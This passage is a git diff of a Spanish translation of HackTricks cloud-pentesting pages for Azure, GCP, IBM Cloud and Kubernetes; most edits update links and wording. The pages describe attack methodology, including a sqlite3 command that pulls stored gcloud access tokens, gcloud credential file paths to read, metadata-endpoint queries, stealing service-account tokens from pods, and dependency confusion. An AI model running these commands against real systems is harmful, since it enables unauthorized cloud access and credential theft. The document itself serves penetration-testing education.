| `Get-AADIntLoginInformation -UserName ` | -| login.microsoftonline.com/common/GetCredentialType | Información de inicio de sesión, incluyendo **información de SSO de escritorio** | `Get-AADIntLoginInformation -UserName ` | +| API | Información | Función de AADInternals | +| -------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------- | +| login.microsoftonline.com/\/.well-known/openid-configuration | **Información de inicio de sesión**, incluyendo el ID del inquilino | `Get-AADIntTenantID -Domain ` | +| autodiscover-s.outlook.com/autodiscover/autodiscover.svc | **Todos los dominios** del inquilino | `Get-AADIntTenantDomains -Domain ` | +| login.microsoftonline.com/GetUserRealm.srf?login=\ |

Información de inicio de sesión del inquilino, incluyendo el nombre del inquilino y el tipo de autenticación del dominio.
Si NameSpaceType es Managed, significa que se utiliza AzureAD.

| `Get-AADIntLoginInformation -UserName ` | +| login.microsoftonline.com/common/GetCredentialType | Información de inicio de sesión, incluyendo **información de SSO de escritorio** | `Get-AADIntLoginInformation -UserName ` | Puedes consultar toda la información de un inquilino de Azure con **solo un comando de la** [**biblioteca AADInternals**](https://github.com/Gerenios/AADInternals): ```powershell @@ -193,7 +193,7 @@ https://corpcommon.blob.core.windows.net/secrets?restype=container&comp=list ``` ### SAS URLs -Una _**firma de acceso compartido**_ (SAS) URL es una URL que **proporciona acceso** a cierta parte de una cuenta de almacenamiento (puede ser un contenedor completo, un archivo...) con algunos permisos específicos (lectura, escritura...) sobre los recursos. Si encuentras uno filtrado, podrías acceder a información sensible, se ven así (esto es para acceder a un contenedor, si solo se otorgara acceso a un archivo, la ruta de la URL también contendría ese archivo): +Una _**firma de acceso compartido**_ (SAS) URL es una URL que **proporciona acceso** a cierta parte de una cuenta de almacenamiento (puede ser un contenedor completo, un archivo...) con algunos permisos específicos (lectura, escritura...) sobre los recursos. Si encuentras uno filtrado, podrías acceder a información sensible, se ven así (esto es para acceder a un contenedor, si solo otorgara acceso a un archivo, la ruta de la URL también contendría ese archivo): `https://.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D` @@ -203,7 +203,7 @@ Usa [**Storage Explorer**](https://azure.microsoft.com/en-us/features/storage-ex ### Phishing -- [**Phishing Común**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (credenciales o aplicación OAuth -[Ataque de Consentimiento Ilícito](az-oauth-apps-phishing.md)-) +- [**Phishing Común**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html) (credenciales o aplicación OAuth -[Ataque de Consentimiento Ilícito](az-oauth-apps-phishing.md)-) - [**Phishing de Autenticación con Código de Dispositivo**](az-device-code-authentication-phishing.md) ### Password Spraying / Brute-Force diff --git a/src/pentesting-cloud/digital-ocean-pentesting/README.md b/src/pentesting-cloud/digital-ocean-pentesting/README.md index 91866e331..efb8e078b 100644 --- a/src/pentesting-cloud/digital-ocean-pentesting/README.md +++ b/src/pentesting-cloud/digital-ocean-pentesting/README.md @@ -17,7 +17,7 @@ do-basic-information.md ### SSRF {{#ref}} -https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf +https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html {{#endref}} ### Proyectos diff --git a/src/pentesting-cloud/gcp-security/README.md b/src/pentesting-cloud/gcp-security/README.md index cdde3fc20..ee60314ab 100644 --- a/src/pentesting-cloud/gcp-security/README.md +++ b/src/pentesting-cloud/gcp-security/README.md @@ -19,46 +19,46 @@ gcp-basic-information/ - [https://github.com/lacioffi/GCP-pentest-lab/](https://github.com/lacioffi/GCP-pentest-lab/) - [https://github.com/carlospolop/gcp_privesc_scripts](https://github.com/carlospolop/gcp_privesc_scripts) -## Metodología de Pentester/Red Team de GCP +## Metodología de Pentester/Red Team en GCP -Para auditar un ambiente de GCP es muy importante saber: qué **servicios se están utilizando**, qué está **siendo expuesto**, quién tiene **acceso** a qué, y cómo están conectados los servicios internos de GCP y los **servicios externos**. +Para auditar un ambiente de GCP, es muy importante saber: qué **servicios se están utilizando**, qué está **siendo expuesto**, quién tiene **acceso** a qué, y cómo están conectados los servicios internos de GCP y los **servicios externos**. Desde el punto de vista de un Red Team, el **primer paso para comprometer un ambiente de GCP** es lograr obtener algunas **credenciales**. Aquí tienes algunas ideas sobre cómo hacerlo: - **Filtraciones** en github (o similar) - OSINT -- **Ingeniería** Social (Consulta la página [**Seguridad de Workspace**](../workspace-security/)) +- **Ingeniería** Social (Consulta la página [**Seguridad de Workspace**](../workspace-security/index.html)) - Reutilización de **contraseñas** (filtraciones de contraseñas) - Vulnerabilidades en Aplicaciones Alojadas en GCP -- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) con acceso al endpoint de metadatos +- [**Server Side Request Forgery**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) con acceso al endpoint de metadatos - **Lectura de Archivos Locales** - `/home/USERNAME/.config/gcloud/*` - `C:\Users\USERNAME\.config\gcloud\*` - **terceros** **comprometidos** - **Empleado** Interno -O comprometiendo un servicio **no autenticado** expuesto: +O comprometiendo un **servicio no autenticado** expuesto: {{#ref}} gcp-unauthenticated-enum-and-access/ {{#endref}} -O si estás haciendo una **revisión** podrías simplemente **pedir credenciales** con estos roles: +O si estás haciendo una **revisión**, podrías simplemente **pedir credenciales** con estos roles: {{#ref}} gcp-permissions-for-a-pentest.md {{#endref}} > [!NOTE] -> Después de haber logrado obtener credenciales, necesitas saber **a quién pertenecen esas credenciales**, y **a qué tienen acceso**, así que necesitas realizar alguna enumeración básica: +> Después de haber logrado obtener credenciales, necesitas saber **a quién pertenecen esas credenciales**, y **a qué tienen acceso**, por lo que necesitas realizar alguna enumeración básica: ## Enumeración Básica ### **SSRF** -Para más información sobre cómo **enumerar metadatos de GCP** consulta la siguiente página de hacktricks: +Para más información sobre cómo **enumerar metadatos de GCP**, consulta la siguiente página de hacktricks: {{#ref}} -https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#6440 +https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html {{#endref}} ### Whoami @@ -91,25 +91,25 @@ gcloud projects list # Get projects Si tienes suficientes permisos, **verificar los privilegios de cada entidad dentro de la cuenta de GCP** te ayudará a entender qué puedes hacer tú y otras identidades y cómo **escalar privilegios**. Si no tienes suficientes permisos para enumerar IAM, puedes **robarlos mediante fuerza bruta** para averiguarlos.\ -Consulta **cómo hacer la enumeración y la fuerza bruta** en: +Consulta **cómo realizar la enumeración y la fuerza bruta** en: {{#ref}} gcp-services/gcp-iam-and-org-policies-enum.md {{#endref}} > [!NOTE] -> Ahora que **tienes algo de información sobre tus credenciales** (y si eres un equipo rojo, espero que **no hayas sido detectado**). Es hora de averiguar qué servicios se están utilizando en el entorno.\ +> Ahora que **tienes algo de información sobre tus credenciales** (y si eres un red team, espero que **no hayas sido detectado**). Es hora de averiguar qué servicios se están utilizando en el entorno.\ > En la siguiente sección puedes consultar algunas formas de **enumerar algunos servicios comunes.** ## Enumeración de Servicios -GCP tiene una asombrosa cantidad de servicios, en la siguiente página encontrarás **información básica, enumeración** de cheatsheets, cómo **evitar la detección**, obtener **persistencia** y otros trucos de **post-explotación** sobre algunos de ellos: +GCP tiene una asombrosa cantidad de servicios, en la siguiente página encontrarás **información básica, cheatsheets de enumeración**, cómo **evitar la detección**, obtener **persistencia** y otros trucos de **post-explotación** sobre algunos de ellos: {{#ref}} gcp-services/ {{#endref}} -Ten en cuenta que **no** necesitas realizar todo el trabajo **manualmente**, a continuación en esta publicación puedes encontrar una **sección sobre** [**herramientas automáticas**](./#automatic-tools). +Ten en cuenta que **no** necesitas realizar todo el trabajo **manualmente**, a continuación en esta publicación puedes encontrar una **sección sobre** [**herramientas automáticas**](#automatic-tools). Además, en esta etapa podrías haber descubierto **más servicios expuestos a usuarios no autenticados**, podrías ser capaz de explotarlos: @@ -119,7 +119,7 @@ gcp-unauthenticated-enum-and-access/ ## Escalación de Privilegios, Post Explotación y Persistencia -La forma más común una vez que has obtenido algunas credenciales en la nube o has comprometido algún servicio que se ejecuta dentro de la nube es **abusar de privilegios mal configurados** que la cuenta comprometida puede tener. Así que, lo primero que debes hacer es enumerar tus privilegios. +La forma más común una vez que has obtenido algunas credenciales de la nube o has comprometido algún servicio que se ejecuta dentro de una nube es **abusar de los privilegios mal configurados** que puede tener la cuenta comprometida. Así que, lo primero que debes hacer es enumerar tus privilegios. Además, durante esta enumeración, recuerda que **los permisos pueden establecerse en el nivel más alto de "Organización"** también. @@ -138,12 +138,12 @@ gcp-persistence/ ### Servicios Expuestos Públicamente Mientras enumerabas los servicios de GCP, podrías haber encontrado algunos de ellos **exponiendo elementos a Internet** (puertos de VM/Contenedores, bases de datos o servicios de cola, instantáneas o buckets...).\ -Como pentester/equipo rojo, siempre debes verificar si puedes encontrar **información sensible / vulnerabilidades** en ellos, ya que podrían proporcionarte **acceso adicional a la cuenta de AWS**. +Como pentester/red teamer, siempre deberías verificar si puedes encontrar **información sensible / vulnerabilidades** en ellos, ya que podrían proporcionarte **acceso adicional a la cuenta de AWS**. En este libro deberías encontrar **información** sobre cómo encontrar **servicios de GCP expuestos y cómo verificarlos**. Sobre cómo encontrar **vulnerabilidades en servicios de red expuestos**, te recomendaría **buscar** el **servicio** específico en: {{#ref}} -https://book.hacktricks.xyz/ +https://book.hacktricks.wiki/ {{#endref}} ## GCP <--> Workspace Pivoting @@ -189,7 +189,7 @@ gcloud auth application-default print-access-token # Update gcloud gcloud components update ``` -### Captura de red gcloud, gsutil... +### Captura de gcloud, gsutil... red Recuerda que puedes usar el **parámetro** **`--log-http`** con el **`gcloud`** cli para **imprimir** las **solicitudes** que la herramienta está realizando. Si no deseas que los registros redacten el valor del token, usa `gcloud config set log_http_redact_token false` diff --git a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-artifact-registry-persistence.md b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-artifact-registry-persistence.md index ef414893a..70171ddc1 100644 --- a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-artifact-registry-persistence.md +++ b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-artifact-registry-persistence.md @@ -23,7 +23,7 @@ Para más información sobre el Registro de Artefactos consulta: Esta técnica puede ser útil para **persistencia** y **acceso no autenticado**, ya que para abusar de ella solo se requiere **conocer el nombre de una biblioteca** almacenada en el Registro de Artefactos y **crear esa misma biblioteca en el repositorio público (PyPi para python, por ejemplo)** con una versión más alta. -Para persistencia, estos son los pasos que debes seguir: +Para persistencia, estos son los pasos que necesitas seguir: - **Requisitos**: Debe **existir** un **repositorio virtual** y ser utilizado, se debe usar un **paquete interno** con un **nombre** que no exista en el **repositorio público**. - Crea un repositorio remoto si no existe @@ -36,7 +36,7 @@ Ejecuta algo como: Para más información sobre la confusión de dependencias consulta: {{#ref}} -https://book.hacktricks.xyz/pentesting-web/dependency-confusion +https://book.hacktricks.wiki/en/pentesting-web/dependency-confusion.html {{#endref}} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistance.md b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistance.md index 26dd88ba4..a84d6a72c 100644 --- a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistance.md +++ b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistance.md @@ -8,10 +8,10 @@ Para obtener el **token actual** de un usuario, puedes ejecutar: ```bash sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='';" ``` -Verifica en esta página cómo **usar este token directamente usando gcloud**: +Consulta en esta página cómo **usar directamente este token usando gcloud**: {{#ref}} -https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#id-6440-1 +https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#gcp {{#endref}} Para obtener los detalles para **generar un nuevo token de acceso**, ejecuta: @@ -34,18 +34,18 @@ El flujo de autenticación al usar algo como `gcloud auth login` abrirá un avis ``` /?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1 ``` -Luego, gcloud utilizará el estado y el código con un `client_id` (`32555940559.apps.googleusercontent.com`) y **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) codificados para obtener los **datos finales del token de actualización**. +Luego, gcloud utilizará el estado y el código con un `client_id` codificado (`32555940559.apps.googleusercontent.com`) y **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) para obtener los **datos finales del token de actualización**. > [!CAUTION] > Tenga en cuenta que la comunicación con localhost es en HTTP, por lo que es posible interceptar los datos para obtener un token de actualización; sin embargo, estos datos son válidos solo 1 vez, por lo que esto sería inútil, es más fácil simplemente leer el token de actualización del archivo. ### Alcances de OAuth -Puedes encontrar todos los alcances de Google en [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) o obtenerlos ejecutando: +Puede encontrar todos los alcances de Google en [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) o obtenerlos ejecutando: ```bash curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u ``` -Es posible ver qué alcances la aplicación que **`gcloud`** utiliza para autenticarse puede soportar con este script: +Es posible ver qué scopes la aplicación que **`gcloud`** utiliza para autenticarse puede soportar con este script: ```bash curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do echo -ne "Testing $scope \r" @@ -67,7 +67,7 @@ https://www.googleapis.com/auth/userinfo.email ``` es interesante ver cómo esta aplicación soporta el **`drive`** scope, lo que podría permitir a un usuario escalar de GCP a Workspace si un atacante logra forzar al usuario a generar un token con este scope. -**Ver cómo** [**abusar de esto aquí**](../gcp-to-workspace-pivoting/#abusing-gcloud)**.** +**Ver cómo** [**abusar de esto aquí**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**.** ### Cuentas de Servicio diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md index 1832deebf..6cbed4dd6 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md @@ -8,15 +8,15 @@ Sorprendentemente, los permisos de GCP del compute engine que has comprometido p ## Leer los scripts -**Compute Instances** probablemente estén allí para **ejecutar algunos scripts** para realizar acciones con sus cuentas de servicio. +**Las Instancias de Cómputo** probablemente están ahí para **ejecutar algunos scripts** para realizar acciones con sus cuentas de servicio. Como IAM es muy granular, una cuenta puede tener privilegios de **lectura/escritura** sobre un recurso pero **sin privilegios de listado**. -Un gran ejemplo hipotético de esto es una Compute Instance que tiene permiso para leer/escribir copias de seguridad en un bucket de almacenamiento llamado `instance82736-long-term-xyz-archive-0332893`. +Un gran ejemplo hipotético de esto es una Instancia de Cómputo que tiene permiso para leer/escribir copias de seguridad en un bucket de almacenamiento llamado `instance82736-long-term-xyz-archive-0332893`. Ejecutar `gsutil ls` desde la línea de comandos no devuelve nada, ya que la cuenta de servicio carece del permiso IAM `storage.buckets.list`. Sin embargo, si ejecutas `gsutil ls gs://instance82736-long-term-xyz-archive-0332893` puedes encontrar una copia de seguridad completa del sistema de archivos, dándote acceso en texto claro a datos que tu cuenta local de Linux no tiene. -Es posible que puedas encontrar este nombre de bucket dentro de un script (en bash, Python, Ruby...). +Puedes encontrar este nombre de bucket dentro de un script (en bash, Python, Ruby...). ## Metadatos personalizados @@ -27,7 +27,7 @@ Además, es posible agregar **userdata**, que es un script que será **ejecutado Para más información consulta: {{#ref}} -https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf +https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html {{#endref}} ## **Abusando de los permisos de IAM** @@ -36,11 +36,11 @@ La mayoría de los siguientes permisos propuestos son **otorgados al SA de Compu Revisa los siguientes permisos: -- [**compute.instances.osLogin**](gcp-compute-privesc/#compute.instances.oslogin) -- [**compute.instances.osAdminLogin**](gcp-compute-privesc/#compute.instances.osadminlogin) -- [**compute.projects.setCommonInstanceMetadata**](gcp-compute-privesc/#compute.projects.setcommoninstancemetadata) -- [**compute.instances.setMetadata**](gcp-compute-privesc/#compute.instances.setmetadata) -- [**compute.instances.setIamPolicy**](gcp-compute-privesc/#compute.instances.setiampolicy) +- [**compute.instances.osLogin**](gcp-compute-privesc/index.html#compute.instances.oslogin) +- [**compute.instances.osAdminLogin**](gcp-compute-privesc/index.html#compute.instances.osadminlogin) +- [**compute.projects.setCommonInstanceMetadata**](gcp-compute-privesc/index.html#compute.projects.setcommoninstancemetadata) +- [**compute.instances.setMetadata**](gcp-compute-privesc/index.html#compute.instances.setmetadata) +- [**compute.instances.setIamPolicy**](gcp-compute-privesc/index.html#compute.instances.setiampolicy) ## Buscar claves en el sistema de archivos diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-compute-instances-enum/gcp-compute-instance.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-compute-instances-enum/gcp-compute-instance.md index 83c57f8ba..567dd4e0f 100644 --- a/src/pentesting-cloud/gcp-security/gcp-services/gcp-compute-instances-enum/gcp-compute-instance.md +++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-compute-instances-enum/gcp-compute-instance.md @@ -53,7 +53,7 @@ Es posible permitir tráfico HTTP y HTTPS. ### Redes - **Reenvío de IP**: Es posible **habilitar el reenvío de IP** desde la creación de la instancia. -- **Nombre de host**: Es posible dar a la instancia un nombre de host permanente. +- **Nombre de host**: Es posible darle a la instancia un nombre de host permanente. - **Interfaz**: Es posible agregar una interfaz de red. ### Seguridad Adicional @@ -89,12 +89,12 @@ curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?re Además, **el token de autenticación para la cuenta de servicio adjunta** y **información general** sobre la instancia, la red y el proyecto también estarán disponibles desde el **punto final de metadatos**. Para más información, consulta: {{#ref}} -https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#6440 +https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#gcp {{#endref}} ### Cifrado -Se utiliza una clave de cifrado gestionada por Google de forma predeterminada, pero se puede configurar una clave de cifrado gestionada por el cliente (CMEK). También puedes configurar qué hacer cuando se revoca la CMEF utilizada: Notificar o apagar la VM. +Se utiliza por defecto una clave de cifrado gestionada por Google, pero se puede configurar una clave de cifrado gestionada por el cliente (CMEK). También puedes configurar qué hacer cuando se revoca la CMEK utilizada: Notificar o apagar la VM.
diff --git a/src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-sql-unauthenticated-enum.md b/src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-sql-unauthenticated-enum.md index e356a939d..485e2d7f6 100644 --- a/src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-sql-unauthenticated-enum.md +++ b/src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-sql-unauthenticated-enum.md @@ -1,10 +1,10 @@ -# GCP - Cloud SQL Enumeración No Autenticada +# GCP - Enumeración No Autenticada de Cloud SQL {{#include ../../../banners/hacktricks-training.md}} ## Cloud SQL -Para más información sobre Cloud SQL consulta: +Para más información sobre Cloud SQL, consulta: {{#ref}} ../gcp-services/gcp-cloud-sql-enum.md @@ -17,7 +17,7 @@ Si tienes **acceso a un puerto de Cloud SQL** porque todo el internet está perm Consulta esta página para **diferentes herramientas para forzar** diferentes tecnologías de bases de datos: {{#ref}} -https://book.hacktricks.xyz/generic-methodologies-and-resources/brute-force +https://book.hacktricks.wiki/en/generic-hacking/brute-force.html {{#endref}} Recuerda que con algunos privilegios es posible **listar todos los usuarios de la base de datos** a través de la API de GCP. diff --git a/src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-compute-unauthenticated-enum.md b/src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-compute-unauthenticated-enum.md index 8f1eb1ec0..4ff495a07 100644 --- a/src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-compute-unauthenticated-enum.md +++ b/src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-compute-unauthenticated-enum.md @@ -12,10 +12,10 @@ Para más información sobre Compute y VPC (Redes) consulta: ### SSRF - Falsificación de Solicitudes del Lado del Servidor -Si una web es **vulnerable a SSRF** y es posible **agregar el encabezado de metadatos**, un atacante podría abusar de ello para acceder al token OAuth de SA desde el endpoint de metadatos. Para más información sobre SSRF consulta: +Si una web es **vulnerable a SSRF** y es posible **agregar el encabezado de metadatos**, un atacante podría abusar de ello para acceder al token OAuth de la SA desde el endpoint de metadatos. Para más información sobre SSRF consulta: {{#ref}} -https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery +https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/index.html {{#endref}} ### Servicios expuestos vulnerables diff --git a/src/pentesting-cloud/ibm-cloud-pentesting/README.md b/src/pentesting-cloud/ibm-cloud-pentesting/README.md index 647d77065..5b8a23a82 100644 --- a/src/pentesting-cloud/ibm-cloud-pentesting/README.md +++ b/src/pentesting-cloud/ibm-cloud-pentesting/README.md @@ -12,7 +12,7 @@ Cuando se compara con Amazon Web Services (AWS), IBM Cloud muestra ciertas carac 1. **Enfoque**: IBM Cloud se dirige principalmente a clientes empresariales, proporcionando un conjunto de servicios diseñados para sus necesidades específicas, incluyendo medidas de seguridad y cumplimiento mejoradas. En contraste, AWS presenta un amplio espectro de servicios en la nube para una clientela diversa. 2. **Soluciones de Nube Híbrida**: Tanto IBM Cloud como AWS ofrecen servicios de nube híbrida, permitiendo la integración de infraestructura local con sus servicios en la nube. Sin embargo, la metodología y los servicios proporcionados por cada uno difieren. -3. **Inteligencia Artificial y Aprendizaje Automático (IA & AA)**: IBM Cloud es particularmente conocido por sus servicios extensos e integrados en IA y AA. AWS también ofrece servicios de IA y AA, pero las soluciones de IBM se consideran más completas y profundamente integradas en su plataforma en la nube. +3. **Inteligencia Artificial y Aprendizaje Automático (IA y AA)**: IBM Cloud es particularmente conocido por sus servicios extensos e integrados en IA y AA. AWS también ofrece servicios de IA y AA, pero las soluciones de IBM se consideran más completas y profundamente integradas en su plataforma en la nube. 4. **Soluciones Específicas de la Industria**: IBM Cloud es reconocido por su enfoque en industrias particulares como servicios financieros, atención médica y gobierno, ofreciendo soluciones a medida. AWS atiende a una amplia gama de industrias, pero puede que no tenga la misma profundidad en soluciones específicas de la industria que IBM Cloud. #### Información Básica @@ -28,7 +28,7 @@ ibm-basic-information.md Aprende cómo puedes acceder al endpoint de medata de IBM en la siguiente página: {{#ref}} -https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#2af0 +https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#ibm-cloud {{#endref}} ## Referencias diff --git a/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md b/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md index 7192965bd..3dc58cc79 100644 --- a/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md +++ b/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md @@ -13,13 +13,13 @@ Para intentar escapar de los pods, es posible que necesites **escalar privilegios** primero, algunas técnicas para hacerlo: {{#ref}} -https://book.hacktricks.xyz/linux-hardening/privilege-escalation +https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html {{#endref}} Puedes revisar estos **docker breakouts para intentar escapar** de un pod que has comprometido: {{#ref}} -https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout +https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/index.html {{#endref}} ### Abusando de los Privilegios de Kubernetes @@ -30,7 +30,7 @@ Como se explicó en la sección sobre **enumeración de kubernetes**: kubernetes-enumeration.md {{#endref}} -Generalmente, los pods se ejecutan con un **token de cuenta de servicio** dentro de ellos. Esta cuenta de servicio puede tener algunos **privilegios asociados** que podrías **abusar** para **moverte** a otros pods o incluso **escapar** a los nodos configurados dentro del clúster. Revisa cómo en: +Generalmente, los pods se ejecutan con un **token de cuenta de servicio** dentro de ellos. Esta cuenta de servicio puede tener algunos **privilegios asociados** que podrías **abusar** para **moverte** a otros pods o incluso para **escapar** a los nodos configurados dentro del clúster. Revisa cómo en: {{#ref}} abusing-roles-clusterroles-in-kubernetes/ @@ -50,11 +50,11 @@ Como estás dentro del entorno de Kubernetes, si no puedes escalar privilegios a ``` kubectl get svc --all-namespaces ``` -Por defecto, Kubernetes utiliza un esquema de red plano, lo que significa que **cualquier pod/servicio dentro del clúster puede comunicarse con otros**. Los **namespaces** dentro del clúster **no tienen restricciones de seguridad de red por defecto**. Cualquiera en el namespace puede comunicarse con otros namespaces. +Por defecto, Kubernetes utiliza un esquema de red plano, lo que significa que **cualquier pod/servicio dentro del clúster puede comunicarse con otros**. Los **namespaces** dentro del clúster **no tienen ninguna restricción de seguridad de red por defecto**. Cualquiera en el namespace puede comunicarse con otros namespaces. ### Escaneo -El siguiente script de Bash (tomado de un [taller de Kubernetes](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)) instalará y escaneará los rangos de IP del clúster de Kubernetes: +El siguiente script de Bash (tomado de un [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)) instalará y escaneará los rangos de IP del clúster de kubernetes: ```bash sudo apt-get update sudo apt-get install nmap @@ -92,7 +92,7 @@ Además, si el **pod malicioso** se está ejecutando en el **mismo nodo que el S kubernetes-network-attacks.md {{#endref}} -## DoS de Nodo +## DoS en Nodo No hay especificación de recursos en los manifiestos de Kubernetes y **no se aplican límites** para los contenedores. Como atacante, podemos **consumir todos los recursos donde se está ejecutando el pod/despliegue** y agotar otros recursos, causando un DoS para el entorno. @@ -128,7 +128,7 @@ Si lograste **escapar del contenedor**, hay algunas cosas interesantes que encon ### Find node kubeconfig -Si no puedes encontrar el archivo kubeconfig en uno de los caminos comentados anteriormente, **revisa el argumento `--kubeconfig` del proceso kubelet**: +Si no puedes encontrar el archivo kubeconfig en una de las rutas comentadas anteriormente, **revisa el argumento `--kubeconfig` del proceso kubelet**: ``` ps -ef | grep kubelet root 1406 1 9 11:55 ? 00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal @@ -154,26 +154,26 @@ echo "" fi done ``` -El script [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) **obtendrá automáticamente los tokens de otros pods y verificará si tienen el permiso** que estás buscando (en lugar de que tú busques uno por uno): +El script [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) obtendrá automáticamente **los tokens de otros pods y verificará si tienen el permiso** que estás buscando (en lugar de que tú busques uno por uno): ```bash ./can-they.sh -i "--list -n default" ./can-they.sh -i "list secrets -n kube-system"// Some code ``` -### DaemonSets Privilegiados +### Privileged DaemonSets Un DaemonSet es un **pod** que se **ejecutará** en **todos los nodos del clúster**. Por lo tanto, si un DaemonSet está configurado con una **cuenta de servicio privilegiada**, en **TODOS los nodos** podrás encontrar el **token** de esa **cuenta de servicio privilegiada** que podrías abusar. La explotación es la misma que en la sección anterior, pero ahora no dependes de la suerte. -### Pivotar a la Nube +### Pivot to Cloud -Si el clúster es gestionado por un servicio en la nube, generalmente el **Nodo tendrá un acceso diferente al endpoint de metadatos** que el Pod. Por lo tanto, intenta **acceder al endpoint de metadatos desde el nodo** (o desde un pod con hostNetwork en True): +Si el clúster es administrado por un servicio en la nube, generalmente el **Nodo tendrá un acceso diferente al endpoint de metadatos** que el Pod. Por lo tanto, intenta **acceder al endpoint de metadatos desde el nodo** (o desde un pod con hostNetwork en True): {{#ref}} 